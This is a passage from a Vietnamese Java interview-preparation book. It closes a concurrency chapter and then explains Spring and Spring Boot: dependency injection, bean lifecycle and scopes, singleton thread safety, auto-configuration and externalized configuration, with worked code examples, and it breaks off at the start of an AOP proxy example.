1. Deadlock cần vòng chờ, vì vậy khóa theo thứ tự cố định hoặc tryLock có timeout là cách phòng tránh thực tế nhất.
1. ThreadPoolExecutor xếp hàng trước rồi mới tăng thread lên max, nên queue không giới hạn làm maximumPoolSize vô nghĩa và dẫn tới OOM.
1. Không dùng factory của Executors trên production vì chúng có queue hoặc số thread không giới hạn.
1. CompletableFuture cho I/O phải có executor riêng, xử lý lỗi và timeout, vì common pool nhỏ và dùng chung cả JVM.
1. ThreadLocal trong thread pool phải remove() trong finally, vì thread sống mãi và mang dữ liệu sang request sau.
1. Virtual thread giúp chờ I/O rẻ chứ không giúp tính nhanh hơn, và trên Java 21 phải tránh blocking trong synchronized để không bị pinning.
1. Khi thread pool cạn, hãy xem thread đang chờ cái gì (connection DB, lock, HTTP), vì nút thắt thật thường nằm ở tầng dưới chứ không ở số thread.
3.14 Checklist ôn tập
1. Kể đúng 6 trạng thái của Thread.State, biết thread chờ I/O hiện RUNNABLE trong thread dump.
1. Giải thích vì sao dùng ExecutorService thay vì new Thread, và bẫy exception bị nuốt với submit().
1. Trình bày visibility, reordering, atomicity và các quy tắc happens-before chính.
1. So sánh volatile, synchronized, ReentrantLock, Atomic; giải thích CAS và ABA.
1. Nêu 4 điều kiện deadlock, viết được lock ordering, đọc deadlock trong jstack.
1. Mô tả thứ tự core → queue → max → reject của ThreadPoolExecutor; rủi ro của các factory Executors.
1. Viết CompletableFuture với executor riêng, thenCompose, allOf, exceptionally, timeout.
1. Phân biệt ConcurrentHashMap với synchronizedMap/Hashtable; dùng computeIfAbsent, merge thay check-then-act.
1. Biết dùng CountDownLatch và Semaphore cho tình huống thực tế.
1. Giải thích rò rỉ ThreadLocal trong thread pool và mẫu try/finally remove().
1. Nói đúng về virtual threads: khi nào có lợi, pinning với synchronized ở Java 21, không pool, giới hạn bằng Semaphore.
1. Nhận ra và sửa race condition do field mutable trong Spring singleton bean.
Chương 4. Spring và Spring Boot
Với ứng viên 2–4 năm, tôi không hỏi "Spring là gì" nữa. Tôi hỏi bạn đã từng bị @Transactional "lừa" chưa, vì sao bean của bạn không được proxy, vì sao ứng dụng khởi động báo circular dependency sau khi nâng cấp Spring Boot. Chương này đi vào đúng những chỗ mà code chạy được nhưng chạy sai, vì đó là nơi phân biệt người dùng framework theo thói quen và người hiểu framework.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Hiểu IoC/DI ở mức thiết kế: vì sao constructor injection, cách xử lý circular dependency.
1. Nắm bean lifecycle và biết proxy AOP được tạo ở bước nào.
1. Giải thích được Spring Boot auto-configuration hoạt động ra sao, debug được khi nó "tự làm sai".
1. Dùng @Transactional đúng: proxy, self-invocation, rollback rule, propagation, transaction dài.
1. Tổ chức xử lý lỗi, validation, và chọn đúng giữa Filter, Interceptor, AOP.



4.1 IoC, DI và ApplicationContext
IoC (Inversion of Control) nghĩa là object không tự tạo và tự tìm dependency của nó; container (ApplicationContext) làm việc đó. DI (Dependency Injection) là cách hiện thực IoC: dependency được "tiêm" qua constructor, setter hoặc field. Điểm cần nói được ở mức 2–4 năm: DI là cơ chế, còn Dependency Inversion Principle (chữ D trong SOLID) là nguyên tắc thiết kế. Bạn có thể dùng Spring DI mà vẫn vi phạm DIP nếu service phụ thuộc thẳng vào class cụ thể thay vì abstraction.
	NHẮC LẠI KIẾN THỨC
IoC nghĩa là quyền tạo và nối các object được giao cho container; DI là cách đưa dependency vào từ bên ngoài, thường qua constructor (xem N2.7). Constructor là đoạn code chạy đúng một lần khi object được tạo bằng new, dùng để gán giá trị ban đầu cho field (xem N1.4).



Bean, container và ApplicationContext bằng lời thường
Trước khi đi tiếp, cần thống nhất ba từ mà cả chương này dùng liên tục:
1. Bean chỉ là một object Java bình thường. Điểm khác duy nhất: nó do Spring tạo ra và quản lý, thay vì bạn tự new. OrderService, OrderRepository, ObjectMapper trong ứng dụng của bạn đều là bean.
1. Container là "nhà kho kiêm xưởng lắp ráp" giữ các bean: nó biết phải tạo những object nào, tạo theo thứ tự nào, đưa object nào vào constructor của object nào, và dọn dẹp khi ứng dụng tắt.
1. ApplicationContext là tên interface của container trong Spring. Khi SpringApplication.run(...) chạy xong, bạn nhận về một ApplicationContext chứa toàn bộ bean của ứng dụng.
So sánh đời thường: ở nhà hàng, bạn gọi món (khai báo mình cần gì) chứ không tự vào bếp nấu (tự new); nhà bếp là container. Đoạn code Java thuần dưới đây tự viết một "container" tí hon để thấy container làm gì bên trong: nó giữ một Map từ tên sang object và tự nối dependency.
	import java.util.HashMap;
import java.util.Map;
 
public class MiniContainerDemo {
    interface Repo { String find(int id); }
 
    static class DbRepo implements Repo {
        public String find(int id) { return "order-" + id; }
    }
 
    static class OrderService {
        private final Repo repo; // the dependency comes from outside
        OrderService(Repo repo) { this.repo = repo; }
        String load(int id) { return repo.find(id); }
    }
 
    public static void main(String[] args) {
        Map<String, Object> beans = new HashMap<>();        // the "container"
        Repo repo = new DbRepo();                           // create dependencies first
        beans.put("repo", repo);
        beans.put("orderService", new OrderService(repo)); // then wire them together
 
        OrderService svc = (OrderService) beans.get("orderService"); // like context.getBean(...)
        System.out.println(svc.load(7));                   // prints: order-7
        System.out.println(beans.size());                  // prints: 2
    }
}



Giải thích: Chạy chương trình in ra order-7 rồi 2. OrderService không tự new DbRepo(); "ai đó" (ở đây là main) tạo DbRepo trước rồi đưa vào constructor. Spring làm đúng việc này nhưng tự động: nó quét các class có @Component/@Service/@Repository, đọc constructor để biết class nào cần class nào, sắp thứ tự tạo, rồi lưu kết quả vào một Map tên → bean bên trong ApplicationContext. context.getBean(OrderService.class) tương đương dòng beans.get(...). Khác biệt quan trọng nhất: Spring có thể cất vào Map một proxy bọc object thật thay vì chính object thật (mục 4.4), và đó là nền tảng của @Transactional, @Async, @Cacheable.
Constructor injection là mặc định
Đoạn code dưới đây là cách khai báo dependency chuẩn cho một service: mọi dependency bắt buộc đi qua constructor và được đánh dấu final.
	@Service
public class OrderService {
    private final OrderRepository orderRepository; // final: assigned exactly once, never reassigned
    private final PaymentClient paymentClient;
 
    // A single constructor needs no @Autowired (since Spring 4.3)
    public OrderService(OrderRepository orderRepository, PaymentClient paymentClient) {
        this.orderRepository = orderRepository; // Spring passes in the bean from the context
        this.paymentClient = paymentClient;
    }
}



Giải thích: Khi khởi động, Spring thấy OrderService chỉ có một constructor nên dùng chính constructor đó để tạo bean: nó tìm (hoặc tạo trước) bean OrderRepository và PaymentClient trong ApplicationContext rồi truyền vào. Nếu thiếu một trong hai bean, ứng dụng dừng ngay lúc startup với UnsatisfiedDependencyException thay vì chạy được rồi mới NullPointerException giữa chừng. Vì hai field là final, khi constructor chạy xong object luôn ở trạng thái đầy đủ và không ai gán lại được.
Lý do chọn constructor injection:
1. Dependency bắt buộc được đảm bảo có mặt ngay khi object tồn tại, field có thể final, object bất biến sau khi tạo.
1. Unit test không cần Spring: chỉ việc new OrderService(mockRepo, mockClient).
1. Constructor quá nhiều tham số là tín hiệu class đang ôm quá nhiều trách nhiệm (vi phạm SRP), thứ mà field injection che giấu.
1. Circular dependency lộ ra ngay lúc khởi động thay vì bị che đi.
Field injection (@Autowired trên field) có nhược điểm: không final được, phải dùng reflection hoặc dựng Spring context để test, dependency bị ẩn khỏi API công khai của class, và object có thể tồn tại ở trạng thái thiếu dependency nếu ai đó tạo bằng new. Setter injection chỉ hợp cho dependency tùy chọn.
Đoạn code dưới đây cho thấy nhược điểm "object tồn tại ở trạng thái thiếu dependency" của field injection khi viết unit test không dùng Spring:
	@Service
public class InvoiceQueryService {
    @Autowired
    private InvoiceRepository repo; // field injection: Spring sets it via reflection
 
    public long count() { return repo.count(); }
}
 
// Plain unit test, no Spring context:
// new InvoiceQueryService().count(); -> NullPointerException, repo is null



Giải thích: Compiler cho phép new InvoiceQueryService() vì class có constructor mặc định, nhưng không ai gán repo, nên lời gọi count() ném NullPointerException. Người viết test phải biết "bí mật" rằng class cần InvoiceRepository và dùng reflection (hoặc @InjectMocks) để nhét vào. Với constructor injection, new InvoiceQueryService(mockRepo) là cách duy nhất để tạo object, compiler buộc bạn truyền đủ dependency, nên lỗi này không thể xảy ra.
Circular dependency
A cần B, B cần A. Với constructor injection, Spring không thể tạo bean nào trước nên ném BeanCurrentlyInCreationException. Với field/setter injection, Spring từng "cứu" được nhờ cơ chế early singleton reference (cache 3 cấp), nhưng từ Spring Boot 2.6, circular reference bị cấm mặc định (spring.main.allow-circular-references=false). Cách xử lý đúng theo thứ tự ưu tiên:
1. Thiết kế lại: tách phần logic dùng chung ra bean thứ ba, hoặc gộp nếu hai class thực chất là một trách nhiệm.
1. Dùng event (ApplicationEventPublisher) để đảo chiều phụ thuộc.
1. Tạm thời dùng @Lazy trên một tham số constructor (Spring tiêm proxy lazy). Bật lại allow-circular-references chỉ là giải pháp chữa cháy.
Ví dụ cụ thể: OrderService cần CustomerService để lấy hạng thành viên khi tính giảm giá, còn CustomerService lại cần OrderService để tính tổng chi tiêu của khách. Cả hai dùng constructor injection, và khi khởi động, Spring Boot dừng với thông báo:
	The dependencies of some of the beans in the application context form a cycle:
 
   orderService defined in file [.../OrderService.class]
      ↓
   customerService defined in file [.../CustomerService.class]
      ↓
   (back to orderService)



Cách sửa theo hướng thiết kế lại: phần "tính tổng chi tiêu" thực chất chỉ cần dữ liệu đơn hàng, nên tách ra bean thứ ba chỉ phụ thuộc repository.
	@Service
public class CustomerStatsService { // new bean: the shared logic moves here
    private final OrderRepository orderRepository;
 
    public CustomerStatsService(OrderRepository orderRepository) {
        this.orderRepository = orderRepository;
    }
 
    public BigDecimal totalSpent(long customerId) {
        return orderRepository.sumTotalByCustomerId(customerId);
    }
}
// Now: OrderService -> CustomerService -> CustomerStatsService -> OrderRepository (no cycle)



Giải thích: Trước khi sửa, Spring muốn tạo OrderService thì phải có CustomerService, mà muốn tạo CustomerService thì phải có OrderService, nên không bean nào tạo được trước. Sau khi sửa, CustomerService phụ thuộc CustomerStatsService thay vì OrderService, đồ thị phụ thuộc thành một đường thẳng và Spring tạo được theo thứ tự từ dưới lên. Vòng phụ thuộc thường là dấu hiệu hai class đang chia nhau một trách nhiệm chưa được đặt tên; tách nó ra làm code rõ nghĩa hơn chứ không chỉ để "qua được lỗi".
ApplicationContext và BeanFactory
BeanFactory là interface gốc, cung cấp DI cơ bản và khởi tạo bean lazy. ApplicationContext mở rộng nó: khởi tạo sẵn singleton lúc startup (phát hiện lỗi cấu hình sớm), tự đăng ký BeanPostProcessor, hỗ trợ event, i18n (MessageSource), Environment/profile, load resource. Trong thực tế bạn luôn dùng ApplicationContext; trả lời được một câu so sánh là đủ.
4.2 Bean lifecycle và scope
Thứ tự vòng đời một singleton bean:
1. Instantiate: gọi constructor (constructor injection xảy ra ở đây).
1. Populate properties: tiêm dependency qua field/setter.
1. Aware callbacks: BeanNameAware, BeanFactoryAware, ApplicationContextAware...
1. BeanPostProcessor.postProcessBeforeInitialization.
1. Init callbacks: @PostConstruct → InitializingBean.afterPropertiesSet() → initMethod khai báo trong @Bean.
1. BeanPostProcessor.postProcessAfterInitialization: đây là chỗ AOP proxy được tạo (cho @Transactional, @Async, @Cacheable...). Bean trong context từ đây là proxy, không phải object gốc.
1. Bean sẵn sàng sử dụng.
1. Khi context đóng: @PreDestroy → DisposableBean.destroy() → destroyMethod.
Hệ quả thực tế: trong @PostConstruct, proxy chưa bọc bean, nên gọi một method @Transactional của chính nó từ @PostConstruct sẽ không có transaction. Nếu cần chạy logic khởi tạo có transaction, dùng ApplicationRunner hoặc lắng nghe ApplicationReadyEvent. Ngoài ra, với bean prototype, Spring không gọi destroy callback; bạn tự chịu trách nhiệm giải phóng tài nguyên.
Vài thuật ngữ trong danh sách trên, nói bằng lời thường:
1. Callback là method bạn viết sẵn, còn Spring là bên gọi nó vào đúng thời điểm (bạn không tự gọi).
1. Aware callback: nếu bean implement BeanNameAware, Spring "báo" cho bean biết tên của nó; ApplicationContextAware thì đưa luôn container cho bean. Ít dùng trong code nghiệp vụ.
1. BeanPostProcessor là một bean đặc biệt mà Spring gọi cho mọi bean khác, một lần trước và một lần sau bước init. Nó được phép trả về một object khác thay cho bean gốc. Spring dùng chính cơ chế này để thay bean gốc bằng proxy.
Ví dụ in thứ tự vòng đời
Đoạn code dưới đây khai báo một bean implement các callback và một BeanPostProcessor chỉ in log cho bean đó, để thấy thứ tự thật khi ứng dụng khởi động rồi tắt.
	import jakarta.annotation.PostConstruct;
import jakarta.annotation.PreDestroy;
import org.springframework.beans.factory.BeanNameAware;
import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.stereotype.Component;
 
@Component
public class LifecycleDemo implements BeanNameAware, InitializingBean, DisposableBean {
    public LifecycleDemo() { System.out.println("1. constructor"); }
 
    @Override public void setBeanName(String name) { System.out.println("2. setBeanName: " + name); }
    @PostConstruct void init() { System.out.println("4. @PostConstruct"); }
    @Override public void afterPropertiesSet() { System.out.println("5. afterPropertiesSet"); }
    @PreDestroy void cleanup() { System.out.println("7. @PreDestroy"); }
    @Override public void destroy() { System.out.println("8. destroy"); }
}



	import org.springframework.beans.factory.config.BeanPostProcessor;
import org.springframework.stereotype.Component;
 
@Component
public class TracingPostProcessor implements BeanPostProcessor {
    @Override
    public Object postProcessBeforeInitialization(Object bean, String name) {
        if (name.equals("lifecycleDemo")) System.out.println("3. BPP before init");
        return bean;
    }
 
    @Override
    public Object postProcessAfterInitialization(Object bean, String name) {
        if (name.equals("lifecycleDemo")) System.out.println("6. BPP after init (proxies are created here)");
        return bean; // AOP post-processors return a proxy here instead of the original bean
    }
}



	1. constructor
2. setBeanName: lifecycleDemo
3. BPP before init
4. @PostConstruct
5. afterPropertiesSet
6. BPP after init (proxies are created here)
   ... application runs ...
7. @PreDestroy
8. destroy



Giải thích: Thứ tự in ra khớp đúng danh sách 8 bước ở trên. Bước 6 là chỗ đáng nhớ nhất: các post-processor của AOP (ví dụ bộ xử lý @Transactional) được gọi ở đây và trả về proxy thay cho object gốc, nên ở bước 4 (@PostConstruct) bean vẫn chỉ là object gốc chưa được bọc. Dòng 7 và 8 chỉ in khi context đóng bình thường (Ctrl+C, SIGTERM), không in nếu process bị kill -9. Chú ý @PostConstruct/@PreDestroy trong Spring Boot 3 thuộc package jakarta.annotation, không còn là javax.annotation.
Hệ quả trên thành một bug quen thuộc: gọi method @Transactional từ @PostConstruct. Đoạn dưới đây muốn nạp sẵn dữ liệu vào cache khi khởi động:
	@Service
public class CatalogCache {
    private final ProductRepository repo;
    public CatalogCache(ProductRepository repo) { this.repo = repo; }
 
    @PostConstruct
    void init() { warmUp(); } // WRONG: raw object, no proxy yet, and a call via this
 
    @Transactional(readOnly = true)
    public void warmUp() {
        repo.findAll().forEach(p -> p.getTags().size()); // LazyInitializationException: no session
    }
}



	@Component
public class CatalogWarmUpRunner implements ApplicationRunner {
    private final CatalogCache cache;
    public CatalogWarmUpRunner(CatalogCache cache) { this.cache = cache; }
 
    @Override
    public void run(ApplicationArguments args) {
        cache.warmUp(); // FIXED: context fully started, call goes through the proxy -> transaction opens
    }
}



Giải thích: Ở bản sai, init() chạy ở bước 4, khi chưa có proxy, và lời gọi warmUp() lại đi qua this, nên không có transaction; truy cập collection lazy getTags() ngoài transaction ném LazyInitializationException và ứng dụng không khởi động được. Ở bản sửa, ApplicationRunner chạy sau khi context khởi động xong, gọi warmUp() qua biến cache (là proxy) từ một bean khác, nên transaction được mở đúng cách. Bỏ @PostConstruct khỏi CatalogCache khi dùng cách này.
Các scope
	Scope
	Vòng đời instance
	Ghi chú

	singleton
	1 instance mỗi ApplicationContext
	Mặc định, không phải "1 instance mỗi JVM"

	prototype
	Mỗi lần lấy bean tạo mới
	Container không quản lý destroy

	request
	1 instance mỗi HTTP request
	Chỉ có trong web context

	session
	1 instance mỗi HTTP session
	Cẩn thận khi scale nhiều node

	application
	1 instance mỗi ServletContext
	Khác singleton khi có nhiều context

	websocket
	1 instance mỗi WebSocket session
	Dùng với STOMP



Đoạn code dưới đây lấy cùng một bean hai lần để thấy khác biệt giữa singleton và prototype:
	@SpringBootApplication
public class ScopeDemo {
    @Bean
    @Scope("prototype")
    StringBuilder draft() { return new StringBuilder(); } // new instance on every lookup
 
    public static void main(String[] args) {
        var ctx = SpringApplication.run(ScopeDemo.class, args);
        System.out.println(ctx.getBean(ScopeDemo.class) == ctx.getBean(ScopeDemo.class));         // prints: true
        System.out.println(ctx.getBean(StringBuilder.class) == ctx.getBean(StringBuilder.class)); // prints: false
    }
}



Giải thích: ScopeDemo là singleton (mặc định), nên hai lần getBean trả về đúng một object, so sánh == ra true. Bean draft khai báo @Scope("prototype"), nên mỗi lần getBean Spring gọi lại method draft() và trả về object mới, so sánh ra false.
Prototype tiêm vào singleton
Singleton chỉ được tạo một lần, nên prototype tiêm qua constructor cũng chỉ được lấy một lần và dùng mãi. Ví dụ: ReportBuilder được khai báo @Scope("prototype") vì nó giữ state (dữ liệu của báo cáo đang dựng). Nếu tiêm thẳng ReportBuilder vào ReportService, mọi request sẽ dùng chung một builder. Đoạn code dưới đây tiêm ObjectProvider để mỗi lần dùng có instance mới:
	@Service
public class ReportService {
    // Inject a "provider", not ReportBuilder itself
    private final ObjectProvider<ReportBuilder> builderProvider;
 
    public ReportService(ObjectProvider<ReportBuilder> builderProvider) {
        this.builderProvider = builderProvider;
    }
 
    public Report build(ReportRequest req) {
        ReportBuilder builder = builderProvider.getObject(); // each call: a brand-new prototype instance
        return builder.from(req).build();
    }
}



Giải thích: ObjectProvider không phải là builder mà là một "tay cầm" trỏ vào container. Mỗi lần gọi getObject(), Spring tra định nghĩa bean ReportBuilder, thấy scope prototype nên tạo một instance mới (chạy constructor, tiêm dependency, gọi @PostConstruct). Hai request song song gọi build() sẽ nhận hai builder khác nhau, không ghi đè dữ liệu của nhau. Nếu tiêm ReportBuilder trực tiếp qua constructor, builder chỉ được tạo đúng một lần lúc ReportService được tạo, và hai request dùng chung nó thì báo cáo của người này lẫn dữ liệu của người kia. Lưu ý Spring không gọi destroy callback cho prototype, nên nếu builder giữ tài nguyên (file, stream) thì bạn phải tự đóng.
Các cách khác: @Lookup trên method abstract/non-final (Spring override bằng CGLIB, không áp dụng cho bean tạo từ @Bean method), hoặc scoped proxy. Với bean request/session tiêm vào singleton, Spring dùng scoped proxy (các annotation @RequestScope, @SessionScope bật sẵn proxyMode = TARGET_CLASS), mỗi lời gọi method được chuyển tới instance của request hiện tại.
Singleton không tự động thread-safe
Singleton bean được mọi request thread dùng chung. Spring không đồng bộ gì cho bạn. Quy tắc: service/controller phải stateless — chỉ giữ dependency final và cấu hình bất biến. Không lưu dữ liệu theo request vào field (kiểu private User currentUser). Nếu buộc phải có state dùng chung, dùng cấu trúc thread-safe (ConcurrentHashMap, AtomicLong) hoặc đẩy state ra ngoài (DB, Redis).
	NHẮC LẠI KIẾN THỨC
Race condition xảy ra khi nhiều thread cùng đọc/ghi một dữ liệu chung mà không đồng bộ, kết quả phụ thuộc vào thứ tự chạy ngẫu nhiên (xem mục 3.4 và 3.11). Singleton bean chính là "dữ liệu chung" nếu nó có field thay đổi được.



Đoạn code dưới đây lưu mức giảm giá của request hiện tại vào field của một singleton:
	@Service
public class PriceService {
    private BigDecimal discount; // WRONG: one field shared by every request thread
 
    public BigDecimal finalPrice(Order order) {
        discount = order.isVip() ? new BigDecimal("0.10") : BigDecimal.ZERO; // thread A writes 0.10
        // thread B (normal customer) may write 0 right here
        return order.total().multiply(BigDecimal.ONE.subtract(discount));   // A now reads B's value
    }
}



	@Service
public class PriceService {
    public BigDecimal finalPrice(Order order) {
        BigDecimal discount = order.isVip() ? new BigDecimal("0.10") : BigDecimal.ZERO; // FIXED: local variable
        return order.total().multiply(BigDecimal.ONE.subtract(discount));
    }
}



Giải thích: Ở bản sai, thread A (khách VIP) ghi 0.10 vào field, nhưng trước khi A đọc lại, thread B (khách thường) ghi đè thành 0, nên khách VIP bị tính giá đầy đủ. Lỗi chỉ xuất hiện dưới tải, không tái hiện được khi test một mình. Ở bản sửa, discount là biến cục bộ, nằm trên stack riêng của từng thread, nên không thread nào nhìn thấy giá trị của thread khác.
4.3 Spring Boot auto-configuration
	NHẮC LẠI KIẾN THỨC
Spring Boot là Spring cộng thêm cấu hình mặc định, server nhúng (Tomcat) và các starter; Maven kéo dependency khai báo trong pom.xml cùng mọi thư viện mà chúng cần (dependency bắc cầu) vào classpath (xem N2.9). Classpath là danh sách các jar/thư mục mà JVM tìm class trong đó.



Auto-configuration nghĩa là Boot tự tạo sẵn các bean hạ tầng (kết nối DB, ObjectMapper, Tomcat...) dựa trên thư viện nào đang có trên classpath và bạn cấu hình property gì, để bạn không phải tự viết class @Configuration cho từng thứ.
@SpringBootApplication = @SpringBootConfiguration + @EnableAutoConfiguration + @ComponentScan (quét từ package của class main trở xuống — đặt class main sai package là lý do kinh điển khiến bean "không được tìm thấy").
Ví dụ bố cục package sai:
	com.shop.app.ShopApplication     <- @SpringBootApplication: scans com.shop.app and below
com.shop.order.OrderService      <- NOT scanned: sibling package, not a sub-package



Giải thích: OrderService nằm ở com.shop.order, không phải package con của com.shop.app, nên component scan bỏ qua nó. Bean nào inject OrderService sẽ làm app dừng với NoSuchBeanDefinitionException / "Parameter 0 of constructor ... required a bean of type 'com.shop.order.OrderService' that could not be found". Cách sửa đúng là chuyển ShopApplication lên com.shop, thay vì rải scanBasePackages.
Cơ chế auto-configuration:
1. Starter (spring-boot-starter-web, -data-jpa...) chỉ là gói dependency; nó kéo thư viện vào classpath.
1. Boot đọc danh sách class auto-configuration từ file META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports (từ Boot 2.7; Boot 3 không còn đọc auto-configuration từ spring.factories).
1. Mỗi class @AutoConfiguration được bảo vệ bởi điều kiện: @ConditionalOnClass (có thư viện trên classpath), @ConditionalOnMissingBean (bạn chưa tự định nghĩa bean đó), @ConditionalOnProperty, @ConditionalOnWebApplication...
Nhờ @ConditionalOnMissingBean, khi bạn tự khai báo một ObjectMapper hay DataSource, bean mặc định của Boot lùi lại. Đó là triết lý "convention over configuration nhưng bạn luôn override được". Khi auto-config làm điều bạn không ngờ, chạy với --debug để xem Condition Evaluation Report, hoặc xem endpoint /actuator/conditions.
Đi từng bước: từ lúc thêm một starter đến khi có bean
Giả sử bạn thêm spring-boot-starter-data-jpa và driver PostgreSQL vào pom.xml, cấu hình ba dòng spring.datasource.url/username/password, rồi viết interface OrderRepository extends JpaRepository<Order, Long>. Không viết thêm dòng cấu hình nào mà vẫn inject được OrderRepository. Chuyện xảy ra theo thứ tự:
1. Maven kéo thư viện: starter chỉ là một pom rỗng khai báo dependency, nên classpath có thêm hibernate-core, spring-data-jpa, HikariCP (connection pool), spring-orm...
1. Boot đọc danh sách ứng viên: @EnableAutoConfiguration đọc file AutoConfiguration.imports trong jar spring-boot-autoconfigure, được khoảng vài trăm class auto-configuration ứng viên.
1. Lọc theo classpath: DataSourceAutoConfiguration có @ConditionalOnClass(DataSource.class, EmbeddedDatabaseType.class); hai class này có mặt nên điều kiện đúng. MongoAutoConfiguration cần class của MongoDB driver, không có nên bị loại.
1. Tạo DataSource: Boot đọc property spring.datasource.* và tạo HikariDataSource, trừ khi bạn đã tự khai báo bean DataSource (@ConditionalOnMissingBean).
1. Tạo tầng JPA: HibernateJpaAutoConfiguration tạo EntityManagerFactory từ DataSource ở bước 4 và JpaTransactionManager (thứ mà @Transactional dùng).
1. Tạo repository: JpaRepositoriesAutoConfiguration quét các interface kế thừa JpaRepository và sinh class hiện thực lúc runtime.
1. Kết quả: bean OrderRepository có sẵn để inject. Nếu bước 4 thiếu spring.datasource.url, app dừng với "Failed to configure a DataSource: 'url' attribute is not specified".
Đoạn code dưới đây là một auto-configuration tự viết (ví dụ cho starter SMS nội bộ của công ty), rút gọn để thấy các điều kiện hoạt động ra sao:
	import org.springframework.boot.autoconfigure.AutoConfiguration;
import org.springframework.boot.autoconfigure.condition.ConditionalOnClass;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.context.annotation.Bean;
 
@AutoConfiguration
@ConditionalOnClass(SmsClient.class) // only when the SMS library is on the classpath
@ConditionalOnProperty(prefix = "app.sms", name = "enabled", havingValue = "true", matchIfMissing = true)
public class SmsAutoConfiguration {
 
    @Bean
    @ConditionalOnMissingBean // back off if the application defines its own SmsClient
    SmsClient smsClient() {
        return new SmsClient("https://sms.example.com");
    }
}



	# file: src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
com.example.sms.SmsAutoConfiguration



Giải thích: Ứng dụng nào thêm jar starter này sẽ tự có bean SmsClient, với ba điều kiện: class SmsClient có trên classpath; property app.sms.enabled không bị đặt thành false (matchIfMissing = true nghĩa là không khai báo cũng tính là bật); và ứng dụng chưa tự định nghĩa SmsClient. Nếu team tự khai báo @Bean SmsClient với URL khác, bean của starter lùi lại, không có hai bean đánh nhau. File .imports là nơi đăng ký; thiếu nó thì class trên không bao giờ được nạp.
Khi cần biết vì sao một auto-configuration có hoặc không được áp dụng, chạy app với --debug, log in ra báo cáo dạng:
	Positive matches:
   DataSourceAutoConfiguration matched:
      - @ConditionalOnClass found required classes 'javax.sql.DataSource', ... (OnClassCondition)
 
Negative matches:
   MongoAutoConfiguration:
      Did not match:
         - @ConditionalOnClass did not find required class 'com.mongodb.client.MongoClient' (OnClassCondition)



Giải thích: "Positive matches" liệt kê auto-configuration đã được áp dụng và điều kiện nào đúng; "Negative matches" liệt kê cái bị loại và lý do. Chú ý javax.sql.DataSource là API chuẩn của JDK nên vẫn mang tên javax, khác với các API Jakarta EE đã đổi sang jakarta.*.
Externalized configuration và profile
Boot gộp cấu hình từ nhiều nguồn, nguồn ưu tiên cao ghi đè nguồn thấp. Thứ tự đáng nhớ (từ cao xuống thấp): tham số command line → system properties (-D) → biến môi trường OS → file config bên ngoài jar (profile-specific rồi mặc định) → file config trong jar (profile-specific rồi mặc định) → giá trị mặc định. Biến môi trường dùng relaxed binding: SPRING_DATASOURCE_URL map vào spring.datasource.url, đây là cách chuẩn khi chạy trên Docker/Kubernetes.
Profile (spring.profiles.active=prod) chọn file application-prod.yml và bean có @Profile("prod"). Đừng nhét secret vào file trong repo; dùng biến môi trường, Vault hoặc secret của Kubernetes.
Ví dụ cùng một key được khai báo ở nhiều nơi:
	# application.yml packaged inside the jar
app:
  payment:
    base-url: https://sandbox.pay.example.com
    timeout: 5s



	# start command on the server
export SPRING_PROFILES_ACTIVE=prod
export APP_PAYMENT_TIMEOUT=10s          # env var, relaxed binding -> app.payment.timeout
java -jar shop.jar --app.payment.base-url=https://pay.example.com   # command-line argument



Giải thích: Giá trị cuối cùng là base-url = https://pay.example.com (tham số command line thắng mọi nguồn khác) và timeout = 10s (biến môi trường thắng file trong jar). Profile prod được bật nên Boot đọc thêm application-prod.yml nếu có, và giá trị trong đó ghi đè application.yml. Khi nghi ngờ app đang dùng giá trị nào, endpoint /actuator/env (chỉ bật ở môi trường nội bộ) cho biết mỗi key đến từ nguồn nào.
@ConfigurationProperties thay cho rải @Value
Thay vì rải @Value("${app.payment.base-url}") khắp các class, bạn gom mọi cấu hình của một module vào một record có kiểu rõ ràng và được validate ngay khi khởi động:
	@ConfigurationProperties(prefix = "app.payment") // binds every app.payment.* key
@Validated // runs Bean Validation right after binding
public record PaymentProperties(
        @NotBlank String baseUrl,   // app.payment.base-url
        @NotNull Duration timeout,  // app.payment.timeout=5s -> Duration of 5 seconds
        @Min(0) int maxRetries) {   // app.payment.max-retries
}



Giải thích: Lúc khởi động, Boot đọc các key app.payment.* từ mọi nguồn cấu hình (file yml, biến môi trường...), ánh xạ kiểu kebab-case base-url sang component baseUrl, đổi chuỗi 5s thành Duration, rồi gọi constructor của record. Sau đó @Validated kích hoạt Bean Validation: nếu thiếu base-url hoặc đặt max-retries=-1, ứng dụng không khởi động được và log chỉ rõ property nào sai. Record chỉ được bind khi đã được đăng ký bằng @ConfigurationPropertiesScan hoặc @EnableConfigurationProperties(PaymentProperties.class). Ưu điểm so với @Value: type-safe, gom nhóm, validate ngay lúc khởi động (sai cấu hình thì app không lên, thay vì lỗi lúc 2 giờ sáng), hỗ trợ Duration, DataSize, và IDE gợi ý khi có spring-boot-configuration-processor. Record có một constructor được Boot 3 bind qua constructor tự động, không cần @ConstructorBinding.
4.4 AOP và proxy
Spring AOP hoạt động bằng proxy lúc runtime: bean được bọc bởi một object trung gian, lời gọi từ bên ngoài đi qua proxy, proxy chạy advice (mở transaction, kiểm tra quyền, cache...) rồi mới gọi object thật.
	NHẮC LẠI KIẾN THỨC
AOP tách logic cắt ngang nhiều nơi (log, transaction, phân quyền) ra khỏi code nghiệp vụ; advice là đoạn code chạy chèn vào quanh lời gọi method (xem N2.10). Một class implement interface thì phải có đủ các method mà interface khai báo, nên ai giữ biến kiểu interface sẽ không phân biệt được object thật với object khác cùng implement interface đó (xem N1.7).



Proxy là gì: tự viết một proxy bằng Java thuần
Proxy là "người đứng thay": một object có cùng kiểu với object thật, nhận lời gọi thay cho nó, làm thêm việc gì đó trước và sau, rồi chuyển lời gọi sang object thật. So sánh đời thường: thư ký nhận điện thoại thay giám đốc, ghi sổ trước khi chuyển máy và ghi chú sau khi cuộc gọi kết thúc; người gọi không cần biết có thư ký. Đoạn code dưới đây tự viết tay đúng thứ Spring sinh ra cho @Transactional, chỉ khác là "transaction" ở đây là dòng in ra.
	public class HandProxyDemo {
    interface PaymentService {
        void pay(String orderId);
        void payAll(String... ids);
    }
 
    static class RealPaymentService implements PaymentService {
        public void pay(String orderId) { System.out.println("  paying " + orderId); }
        public void payAll(String... ids) {
